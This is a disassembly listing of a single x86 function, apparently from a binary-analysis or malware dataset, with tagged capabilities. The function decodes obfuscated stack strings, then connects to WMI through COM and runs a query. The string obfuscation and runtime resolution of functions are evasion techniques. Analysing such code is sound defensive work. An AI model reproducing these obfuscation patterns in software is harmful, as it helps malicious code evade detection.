Function at 0x436f90
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov edi, dword [ebp + 8]
mov eax, dword [0x449658]
mov dword [esp + 4], eax
mov dword [esp + 0x48], 0x2928272e
mov ecx, 0xfebc5b96
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x143a4b2]
xor edx, ecx
mov esi, edx
and esi, 0xa1c034d
mov eax, edx
and eax, 2
mov ebx, eax
xor ebx, 2
imul ebx, esi
or esi, 2
imul esi, eax
add esi, ebx
xor edx, 0xa1d234f
mov eax, esi
and eax, edx
xor edx, esi
lea eax, [edx + eax*2]
inc al
mov byte [esp + ecx + 0x143a4b2], al
inc ecx
cmp ecx, 0xfebc5b9a
jne 0x436fc0
mov ecx, dword [esp + 0x48]
mov dword [esp], 0xc8f7f6e8
mov edx, 0xe2
mov esi, 0xe2
nop
nop
nop
movzx ebx, byte [esp + edx - 0xe2]
lea eax, [edx - 0xe30edc5]
or eax, ebx
not ebx
or ebx, esi
and ebx, eax
mov eax, 0x42
sub eax, ebx
add ebx, 0x3d
and eax, 0xa6
and ebx, 0x59
sub ebx, eax
inc bl
mov byte [esp + edx - 0xe2], bl
dec esi
inc edx
cmp esi, 0xde
jne 0x437020
mov edx, dword [esp]
mov dword [esp + 8], 0xe597e3c7
mov dword [esp + 0xc], 0xe97be77f
mov dword [esp + 0x10], 0xed89eb7e
mov dword [esp + 0x14], 0x1154ef83
mov dword [esp + 0x18], 0x157d1380
mov dword [esp + 0x1c], 0x197d1780
mov dword [esp + 0x20], 0x1d1c1b3f
xor ebx, ebx
nop
nop
nop
nop
nop
nop
mov eax, ebx
add al, 0x72
xor al, byte [esp + ebx + 8]
add al, 0x70
mov byte [esp + ebx + 8], al
inc ebx
cmp ebx, 0x1c
jne 0x4370a0
lea ebx, [esp + 0x68]
lea eax, [esp + 0x7c]
lea esi, [esp + 8]
push ebx
push ecx
push eax
push edx
push esi
push 0
call dword [esp + 0x1c]
test eax, eax
jns 0x4370d7
mov dword [esp + 0x7c], 0x3a0043
mov word [esp + 8], 0x433e
xor eax, eax
mov cl, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 8]
mov esi, eax
or esi, 0x93531ad2
and esi, edx
add esi, esi
neg esi
lea ebx, [eax + esi]
add ebx, 0x93531ad2
add bl, dl
add bl, 0x70
mov byte [esp + eax + 8], bl
mov eax, 1
test cl, 1
mov ecx, 0
jne 0x4370f0
movzx eax, word [esp + 8]
mov word [esp + 0x80], ax
mov word [esp + 0x82], 0
mov dword [esp + 0x74], 0xd503d415
mov dword [esp + 0x70], 0xdee9dfec
mov dword [esp + 0x6c], 0xabbc8a35
mov dword [esp + 0x68], 0xabee7dc3
mov dword [esp], 0
mov eax, esp
push eax
push 0x44067c
push 1
push 0
push 0x44068c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x437526
mov dword [esp + 8], 0xd080de8f
mov dword [esp + 0xc], 0xd487d28e
mov dword [esp + 0x10], 0x2894d679
mov dword [esp + 0x14], 0x2c762a70
mov dword [esp + 0x18], 0x205d2e7b
mov word [esp + 0x1c], 0x2221
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x75
xor cl, byte [esp + eax + 8]
add cl, 0x58
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x16
jne 0x4371c0
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x437516
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x43750c
mov dword [esp + 8], 0x9f4f9d4b
mov dword [esp + 0xc], 0x636261ac
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
mov ebx, ecx
xor ebx, 0x84
mov edx, eax
and edx, 6
sub edx, ebx
xor dl, byte [esp + ecx + 8]
add dl, 0x20
mov byte [esp + ecx + 8], dl
inc ecx
add eax, 2
cmp ecx, 8
jne 0x437240
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe8d216c6
mov dword [esp + 0xc], 0xec2eea35
mov dword [esp + 0x10], 0xe03bee2e
mov dword [esp + 0x14], 0xe419e201
mov dword [esp + 0x18], 0xf821e605
mov dword [esp + 0x1c], 0xfc24fa2b
mov dword [esp + 0x20], 0xf01ffe20
mov dword [esp + 0x24], 0xf44af226
mov dword [esp + 0x28], 0xc804f64b
mov dword [esp + 0x2c], 0xcc64ca3b
mov dword [esp + 0x30], 0xc016ce0f
mov dword [esp + 0x34], 0xc410c21e
mov word [esp + 0x38], 0xc6c5
mov eax, 0xfd
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0xf5]
mov ebx, eax
or ebx, edx
not edx
or edx, ecx
and edx, ebx
add dl, 0x18
mov byte [esp + eax - 0xf5], dl
inc eax
dec ecx
cmp eax, 0x12f
jne 0x4372f0
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, dword [esp + 0x44]
mov ecx, dword [ebx]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x4c], eax
push eax
push dword [esp + 0x14]
push ebx
call dword [ecx + 0x50]
test eax, eax
js 0x4374fa
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea ebx, [esp + 0x60]
push edx
push ebx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4374f0
cmp eax, 1
je 0x4374f0
cmp dword [esp + 0x5c], 0
je 0x4374f0
lea ebx, [esp + 0x48]
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 8], 0x56b054a0
mov dword [esp + 0xc], 0x4ad048c5
mov dword [esp + 0x10], 0x4ed14caa
mov dword [esp + 0x14], 0x42d440b1
mov dword [esp + 0x18], 0x46a744de
mov dword [esp + 0x1c], 0x7aeb78a2
mov word [esp + 0x20], 0x7c7b
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xb
xor dl, byte [esp + ecx + 8]
add dl, 0xa8
mov byte [esp + ecx + 8], dl
inc ecx
cmp ecx, 0x1a
jne 0x4373d0
mov ecx, dword [eax]
push 0
push 0
push ebx
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4374df
cmp word [esp + 0x48], 8
jne 0x4374df
mov eax, dword [esp + 0x50]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x3c], eax
je 0x437467
add eax, 2
xor ebx, ebx
jmp 0x437446
mov ecx, ebx
and ecx, 1
xor ebx, 1
lea ebx, [ebx + ecx*2]
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x437469
cmp cx, 0x7f
jbe 0x437430
movzx edx, cx
cmp edx, 0x7ff
ja 0x43745c
add ebx, 2
jmp 0x43743b
cmp cx, 0xffff
je 0x43743b
add ebx, 3
jmp 0x43743b
xor ebx, ebx
mov eax, ebx
and eax, 1
mov ecx, ebx
xor ecx, 1
lea eax, [ecx + eax*2]
mov dword [esp + 0x78], eax
push eax
call fcn.00407ff0
add esp, 4
push dword [esp + 0x3c]
push dword [esp + 0x7c]
mov dword [esp + 0x44], eax
push eax
call fcn.00408e90
add esp, 0xc
mov eax, 3
sub eax, ebx
cmp eax, 0xfffffffd
jae 0x4374a9
mov eax, 0xfffffffc
add eax, ebx
shr eax, 2
cmp eax, 3
jb 0x4374b8
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov ebx, dword [esp + 0x40]
push ebx
lea eax, [esp + 0x70]
push eax
call fcn.00408020
add esp, 0xc
push ebx
call fcn.00408000
add esp, 4
lea ebx, [esp + 0x48]
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 4]
call ebx
push dword [esp + 0x40]
call ebx
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x448650]
call int.0043ce00
add esp, 8
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
lea ecx, [esp + 0x98]
push ecx
call eax
test eax, eax
je 0x437560
mov eax, dword [esp + 8]
mov dword [esp + 0x68], eax
xor esi, esi
jmp 0x437587
add edi, 8
mov eax, esi
and eax, 1
xor esi, 1
lea esi, [esi + eax*2]
cmp esi, 4
jae 0x4376a7
mov eax, 0
test esi, esi
je 0x4375a7
cmp dword [esp + esi*4 + 0x68], 0
mov eax, esi
jne 0x4375a7
mov ecx, esi
xor ecx, 1
mov eax, esi
and eax, 2
add eax, eax
sub eax, ecx
mov dword [esp + 0x40], esi
mov dword [esp + 4], edi
mov ecx, dword [esp + eax*4 + 0x68]
mov dword [esp + 0x48], 0x5c71321c
xor eax, eax
nop
nop
nop
mov edx, eax
add dl, 0xd1
xor dl, byte [esp + eax + 0x48]
add dl, 0x78
mov byte [esp + eax + 0x48], dl
inc eax
cmp eax, 4
jne 0x4375c0
mov eax, dword [esp + 0x48]
mov ebx, eax
not ebx
and ebx, ecx
mov edx, ecx
not edx
and edx, eax
imul edx, ebx
mov ebx, eax
and ebx, ecx
or eax, ecx
imul eax, ebx
add eax, edx
mov dword [esp + 8], 0xa1eb5cd
mov dword [esp + 0xc], 0x25242322
mov ecx, 0x7af01c4e
mov esi, 0x50fe3b1
nop
nop
movzx edi, byte [esp + ecx - 0x7af01c46]
mov edx, esi
and edx, 0x401213d
mov ebx, ecx
and ebx, 0x50501442
or ebx, edx
xor ebx, edi
mov edx, ebx
and edx, 0x71
xor edx, 0x40
and ebx, 0x8e
xor ebx, 0xc
sub ebx, edx
inc bl
mov byte [esp + ecx - 0x7af01c46], bl
inc ecx
dec esi
cmp ecx, 0x7af01c56
jne 0x437610
mov ecx, dword [esp + 8]
mov edx, ecx
and edx, eax
xor ecx, eax
lea eax, [ecx + edx*2]
mov esi, dword [esp + 0x40]
mov dword [esp + esi*4 + 0x68], eax
mov ebx, 0xfffffff7
push 0x10
push 9
mov edi, dword [esp + 0xc]
push edi
push eax
call fcn.0041dc20
add esp, 0x10
nop
nop
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne 0x437680
test ebx, ebx
je 0x437570
add eax, ebx
neg ebx
push ebx
push 0x30
push eax
call fcn.00408070
add esp, 0xc
jmp 0x437570
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret